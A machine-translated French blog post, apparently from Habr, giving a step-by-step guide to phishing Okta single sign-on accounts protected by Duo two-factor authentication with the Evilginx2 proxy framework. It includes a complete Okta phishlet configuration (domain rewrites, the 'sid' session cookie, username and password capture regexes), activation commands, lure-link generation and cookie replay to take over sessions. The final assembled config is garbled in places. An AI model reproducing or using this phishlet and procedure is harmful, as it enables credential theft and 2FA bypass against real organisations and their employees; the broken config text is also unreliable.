CHOC! Un nouveau logiciel de phishing remporte le deuxième facteur

Bonjour à tous!


Il y a des moments où vous devez vous inscrire pour quelqu'un. Cela se produit lorsque l'organisation cible est configurée avec un deuxième facteur d'authentification - sms, authentificateur Google, Duo. Que faire dans de tels cas? Embaucher Gopnik? Couper les téléphones chez les employés? Non! Il s'avère que les pirates rusés ont écrit des logiciels qui peuvent aider dans cette situation difficile.


Evilginx2 est un framework de phishing qui fonctionne comme un proxy entre la victime et le site, à partir duquel nous voulons recevoir des comptes. Auparavant, il utilisait nginx personnalisé, mais maintenant il est complètement réécrit sur Go, il comprend des mini serveurs HTTP et DNS, ce qui simplifie considérablement l'installation et le déploiement.


Comment ça marche? L'auteur du logiciel décrit en détail sur son site Web, des détails sur l'installation et la configuration peuvent être trouvés sur la page du projet github . Pourquoi est-il possible de contourner le deuxième facteur? L'astuce est que nous n'interférons pas avec le processus de saisie du code depuis SMS / mot de passe temporaire / push depuis DUO. Nous attendons tranquillement que l'utilisateur termine avec succès toutes les étapes d'authentification, attrape son cookie et l'utilise déjà pour la connexion. En cours de route, juste au cas où nous collecterions son nom d'utilisateur et son mot de passe. Dans la même note, je parlerai de mon expérience et des pièges que j'ai rencontrés.


Défi


Nous devons donc enregistrer un bureau qui utilise activement Okta comme authentification unique. En tant que deuxième facteur, Duo est utilisé - une solution dont la puce dans le client mobile vous permet de confirmer le deuxième facteur via des notifications push régulières au lieu de saisir des codes à 35 chiffres (salut Google Authenticator). Commençons.


Première étape - enregistrer un domaine de phishing


Dans le panneau de notre fournisseur, spécifiez l'adresse du serveur sur lequel le phishing sera localisé. Nous enregistrons également un sous-domaine de la forme okta.< >.com .



Deuxième étape - Configurer Evilginx


Nous démarrons Evilginx et par la commande config nous entrons les paramètres nécessaires. Nous indiquons le domaine principal (pas un sous-domaine) et son IP.


 config domain < >.com config ip 10.0.0.1 

Par conséquent, la configuration ressemble à ceci:



Le paramètre redirect_url est intéressant ici - il indique où rediriger la demande lorsque le client est arrivé à la racine de notre domaine. Pourquoi est-ce fait? Si vous donnez une page de phishing à partir de la racine, le domaine est calculé très rapidement et ajouté à la liste des sites dangereux, les navigateurs jureront de manière menaçante et les utilisateurs ne nous atteindront jamais. Par conséquent, nous le donnerons via un lien unique, et la racine sera redirigée vers la chanson Never Gonna Give You Up.


Étape 3 - Configurer une page de phishing


Ici, le plaisir commence. Puisque, en fait, sur notre serveur, nous n'hébergeons aucun contenu, mais seulement des demandes par procuration, nous devons «dire» à Evilginx exactement quelles données nous voulons recevoir. Cette "histoire" que nous écrivons dans un format spécial. Sa documentation est disponible sur la page wiki du projet. Ces descriptions de phishlets sont appelées. Pour certains services populaires - facebook, linkedin, amazon, ils sont déjà écrits et inclus dans la distribution. Nous avons eu moins de chance, prêt à l'emploi, Okta n'est pas pris en charge, mais des gens gentils ont écrit un phishlet pour l' ancienne version. Nous prenons un fichier et commençons à souder.


Remplissez la description, spécifiez le nom du phishlet, les auteurs et la version requise d'Evilginx.


 name: 'okta' author: '@ml_siegel, updated by @hollow1' min_ver: '2.2.0' 

Nous indiquons quel domaine nous allons pêcher. Dans notre cas, un domaine de la forme < >.okta.com .


 proxy_hosts: - {phish_sub: '', orig_sub: '<   >', domain: 'okta.com', session: true, is_landing: true} 

Le paramètre de session indique que c'est ce domaine qui fournit les cookies dont nous avons besoin et les informations d'identification y sont transférées, is_landing signifie que cet hôte sera utilisé pour générer des URL de phishing.


La prochaine étape importante consiste à identifier toutes les demandes vers le domaine cible afin que les mandataires les réécrivent avec succès dans le domaine de phishing. Si cela n'est pas fait, l'utilisateur ne nous enverra pas de données, mais immédiatement au domaine d'origine, et nous n'accepterons aucun compte. Réécrivez uniquement les demandes directement impliquées dans le processus de connexion de l'utilisateur au site.


Pour comprendre clairement ce qui est requis pour une authentification réussie, vous devez étudier attentivement ce processus. Armé de Burp et de comptes de test, nous commençons à chercher comment le mot de passe est transmis et par quels cookies l'application détermine l'utilisateur autorisé. Nous recherchons également des réponses du serveur contenant des liens vers le domaine d'origine.


Nous trouvons une demande dans laquelle le login et le mot de passe sont transmis. Nous voyons qu'il est envoyé vers le domaine d'origine, mais nous devons nous quitter.



Ici, vous pouvez voir comment le domaine d'origine rend les liens à l'intérieur de javascript, ils doivent être réécrits.



Après avoir collecté cela et quelques demandes supplémentaires, nous obtenons les paramètres suivants:


 sub_filters: - {triggers_on: '< >.okta.com', orig_sub: '< >', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']} - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: 'https\\x3A\\x2F\\x2F{hostname}', replace: 'https\x3A\x2F\x2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: '\\x2Fuser\\x2Fnotifications', replace: 'https\x3A\x2F\x2F< >.okta.com\x2Fuser\x2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} 

Le mot-clé {hostname} est juste utilisé pour remplacer le domaine d'origine par un domaine de phishing. En savoir plus sur la syntaxe de cette section ici .


N'oubliez pas que nous avons besoin de cookies avec lesquels nous nous connecterons au site. Par essais et erreurs, nous découvrons le nom du cookie - sid , et l'ajoutons aux paramètres:


 auth_tokens: - domain: '< >.okta.com' keys: ['sid'] 

Le nom d'utilisateur et le mot de passe de l'utilisateur nous sont également utiles, nous avons déjà trouvé la demande dans laquelle ils sont transmis. Comme vous pouvez le voir dans la demande, les paramètres de username et de password nous avons besoin sont transmis à json, nous ajoutons:


 credentials: username: key: 'username' search: '"username":"([^"]*)' type: 'json' password: key: 'password' search: '"password":"([^"]*)' type: 'json' 

Evilginx pourra donc les isoler des requêtes et les enregistrer correctement.


Il en reste peu. Spécifiez l'URL de la page de connexion sur le domaine cible.


 landing_path: - '/login/login.htm' 

Nous indiquerons l'URL par laquelle nous comprendrons que l'utilisateur s'est correctement connecté.


 auth_urls: - 'app/UserHome' 

C'est tout! Configuration complète:


 name: 'okta' author: '@ml_siegel, updated by @hollow1' min_ver: '2.2.0' proxy_hosts: - {phish_sub: '', orig_sub: '<   >'', domain: 'okta.com', session: true, is_landing: true} sub_filters: sub_filters: - {triggers_on: '< >.okta.com', orig_sub: '< >', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']} - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: 'https\\x3A\\x2F\\x2F{hostname}', replace: 'https\x3A\x2F\x2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: '\\x2Fuser\\x2Fnotifications', replace: 'https\x3A\x2F\x2F< >.okta.com\x2Fuser\x2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - domain: '< >.okta.com' keys: ['sid'] credentials: username: key: 'username' search: '"username":"([^"]*)' type: 'json' password: key: 'password' search: '"password":"([^"]*)' type: 'json' landing_path: - '/login/login.htm' auth_urls: - 'app/UserHome' 

Enregistrez-le sous okta.yaml dans /usr/share/evilginx/phishlets .


Étape 4 - Activez notre nouveau phishing


Exécutez evilginx et écrivez une commande


 phishlets hostname okta okta.<  >.com 

Allumez le phishlet.


 phishlets enable okta 

Un certificat de LetsEncrypt est automatiquement créé pour lui.
Vérifiez les paramètres:



Nous indiquons où nous allons rediriger l'utilisateur après une autorisation réussie


 phishlets get-url okta https://< >.okta.com/ 

L'application donnera un lien qui doit être envoyé aux utilisateurs, sous la forme https://< >.com/login/login.htm?rb=9ffe&ec=< >


Étape 4 - Attendre la capture


Nous envoyons des lettres (technologies de diffusion - matériel pour un article séparé) et attendons.
Un utilisateur faible et confiant suit le lien et se connecte. Nous le voyons comme ceci:



Tous les comptes capturés s'ajoutent aux sessions. Sélectionnez celui que vous souhaitez et copiez-y les cookies:



Ouvrez le navigateur, remplacez les cookies et le tour est joué - nous sommes à l'intérieur:



Postface


Evilginx simplifie considérablement la création de pages de phishing, en particulier pour 2FA. De plus, ces pages sont facilement stockées et partagées avec des amis. Moyens de protection - l'utilisation d'appareils standard U2F , la transition vers de nouvelles méthodes d' authentification.


Que pensez-vous de l'approche décrite? Comment collectez-vous les comptes?

Source: https://habr.com/ru/post/fr431156/


All Articles